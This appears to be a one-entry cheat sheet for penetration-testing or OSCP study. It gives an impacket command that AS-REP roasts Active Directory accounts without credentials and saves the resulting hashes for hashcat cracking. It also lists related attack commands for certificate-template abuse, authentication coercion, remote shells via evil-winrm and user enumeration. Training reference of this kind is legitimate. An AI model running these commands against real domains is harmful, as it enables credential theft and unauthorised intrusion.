impacket-GetNPUsers -dc-ip $IP $DOMAIN/ -usersfile usernames.txt -format hashcat -outputfile hashes.asrep

• Linux
• oscp
• cli
• Kerberos
• Exploitation

AS-REP roast accounts with pre-auth disabled (no creds needed).

Command: copy

References:

Related commands

• auth_ldap $IP $USER -p $PASSWORD $DOMAIN [-ldap|-ldaps]
• certipy find -dc-ip $DCIP -u $USER@$DOMAIN -p $PASSWORD -vulnerable...
• uv run dementor.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $IP
• evil-winrm -i $IP -u $USER -p $PASSWORD
• uv run gettgtpkinit.py $DOMAIN/$DC -cert-pfx crt.pfx -pfx-pass $PAS...
• impacket-GetADUsers -dc-ip $IP -all $DOMAIN/$USER:$PASSWORD